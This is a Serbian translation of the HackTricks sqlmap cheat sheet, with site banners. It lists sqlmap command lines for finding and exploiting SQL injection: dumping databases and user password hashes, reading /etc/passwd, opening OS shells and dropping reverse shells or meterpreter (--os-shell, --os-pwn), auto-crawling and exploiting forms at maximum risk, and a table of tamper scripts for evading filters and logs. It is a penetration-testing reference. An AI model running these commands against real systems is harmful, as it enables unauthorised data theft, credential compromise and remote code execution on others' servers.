hacktricks/pentesting-web/sql-injection/sqlmap
2024-03-29 21:14:05 +00:00
..
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:14:05 +00:00
second-order-injection-sqlmap.md Translated to Serbian 2024-02-10 13:11:20 +00:00

SQLMap - Šifra

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Trenutno dostupno podešavanje za procenu ranjivosti & testiranje prodiranja. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se.

{% embed url="https://pentest-tools.com/" %}

Osnovni argumenti za SQLmap

Generički

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Dobijanje informacija

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Podaci iz baze podataka

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Mesto ubrizgavanja

Iz Burp/ZAP snimka

Zabeležite zahtev i kreirajte fajl req.txt

sqlmap -r req.txt --current-user

GET zahtev ubrizgavanja

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

SQL Injection Napad na POST zahtev

sqlmap -u "http://example.com" --data "username=*&password=*"

Injekcije u zaglavljima i drugim HTTP metodama

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Označite string kada je ubacivanje uspešno

--string="string_showed_when_TRUE"

Eval

Sqlmap omogućava korišćenje -e ili --eval opcije za obradu svakog payload-a pre slanja sa nekim python oneliner-om. Ovo čini veoma jednostavnim i brzim procesiranje payload-a na prilagođene načine pre slanja. U sledećem primeru flask cookie sesija je potpisana od strane flask-a sa poznatim tajnim ključem pre slanja:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

Školjka

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Čitanje fajla

--file-read=/etc/passwd

Pretražite veb sajt pomoću SQLmap-a i automatski iskoristite ranjivosti

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Drugi redosled ubrizgavanja

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Pročitajte ovaj posto tome kako izvršiti jednostavne i kompleksne injekcije drugog reda sa sqlmap-om.

Prilagođavanje Injekcije

Postavljanje sufiksa

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoć u pronalasku boolean ubrizgavanja

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Menjanje

Zapamtite da možete kreirati svoj sopstveni alat za menjanje u Python-u i to je veoma jednostavno. Primer alata za menjanje možete pronaći na stranici Drugog reda ubacivanja ovde.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Opis
apostrophemask.py Zamenjuje znak apostrofa njegovim UTF-8 punim širinskim pandanom
apostrophenullencode.py Zamenjuje znak apostrofa njegovim ilegalnim dvostrukim unikodnim pandanom
appendnullbyte.py Dodaje enkodirani NULL bajt karakter na kraj payloada
base64encode.py Base64 enkodira sve karaktere u datom payloadu
between.py Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #'
bluecoat.py Zamenjuje znak razmaka posle SQL izjave sa validnim nasumičnim praznim znakom. Zatim zamenjuje znak = sa LIKE operatorom
chardoubleencode.py Dvostruko url-enkodira sve karaktere u datom payloadu (ne obrađuje već enkodirane)
commalesslimit.py Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M'
commalessmid.py Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)'
concat2concatws.py Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-enkodira sve karaktere u datom payloadu (ne obrađuje već enkodirane)
charunicodeencode.py Unicode-url-enkodira neenkodirane karaktere u datom payloadu (ne obrađuje već enkodirane). "%u0022"
charunicodeescape.py Unicode-url-enkodira neenkodirane karaktere u datom payloadu (ne obrađuje već enkodirane). "\u0022"
equaltolike.py Zamenjuje sve pojave operatora jednako ('=') sa operatorom 'LIKE'
escapequotes.py Slash-ekspira znakove navodnika (' i ")
greatest.py Zamenjuje operator veće od ('>') sa 'GREATEST' pandanom
halfversionedmorekeywords.py Dodaje verzionisani MySQL komentar pre svake ključne reči
ifnull2ifisnull.py Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Obuhvata kompletni upit sa verzionisanim komentarom
modsecurityzeroversioned.py Obuhvata kompletni upit sa nula-verzionisanim komentarom
multiplespaces.py Dodaje višestruke razmake oko SQL ključnih reči
nonrecursivereplacement.py Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filterima
percentage.py Dodaje znak procenta ('%') ispred svakog karaktera
overlongutf8.py Konvertuje sve karaktere u datom payloadu (ne obrađuje već enkodirane)
randomcase.py Zamenjuje svaki karakter ključne reči sa vrednošću nasumičnog slučaja
randomcomments.py Dodaje nasumične komentare SQL ključnim rečima
securesphere.py Dodaje specijalno kreiran string
sp_password.py Dodaje 'sp_password' na kraj payloada radi automatske obfuscacije iz DBMS logova
space2comment.py Zamenjuje znak razmaka (' ') sa komentarima
space2dash.py Zamenjuje znak razmaka (' ') sa crticom komentarom ('--') praćenom nasumičnim stringom i novim redom ('\n')
space2hash.py Zamenjuje znak razmaka (' ') sa znakom zaobljavanja ('#') praćenim nasumičnim stringom i novim redom ('\n')
space2morehash.py Zamenjuje znak razmaka (' ') sa znakom zaobljavanja ('#') praćenim nasumičnim stringom i novim redom ('\n')
space2mssqlblank.py Zamenjuje znak razmaka (' ') sa nasumičnim praznim znakom iz validnog skupa alternativnih karaktera
space2mssqlhash.py Zamenjuje znak razmaka (' ') sa znakom zaobljavanja ('#') praćenim novim redom ('\n')
space2mysqlblank.py Zamenjuje znak razmaka (' ') sa nasumičnim praznim znakom iz validnog skupa alternativnih karaktera
space2mysqldash.py Zamenjuje znak razmaka (' ') sa crticom komentarom ('--') praćenom novim redom ('\n')
space2plus.py Zamenjuje znak razmaka (' ') sa plusom ('+')
space2randomblank.py Zamenjuje znak razmaka (' ') sa nasumičnim praznim znakom iz validnog skupa alternativnih karaktera
symboliclogical.py Zamenjuje AND i OR logičke operatore sa njihovim simboličkim pandanima (&& i
unionalltounion.py Zamenjuje UNION ALL SELECT sa UNION SELECT
unmagicquotes.py Zamenjuje znak navodnika (') sa višebajtnom kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo)
uppercase.py Zamenjuje svaki karakter ključne reči sa vrednošću velikog slova 'INSERT'
varnish.py Dodaje HTTP zaglavlje 'X-originating-IP'
versionedkeywords.py Obuhvata svaku ne-funkcionalnu ključnu reč sa verzionisanim MySQL komentarom
versionedmorekeywords.py Obuhvata svaku ključnu reč sa verzionisanim MySQL komentarom
xforwardedfor.py Dodaje lažno HTTP zaglavlje 'X-Forwarded-For'

Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.

{% embed url="https://pentest-tools.com/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: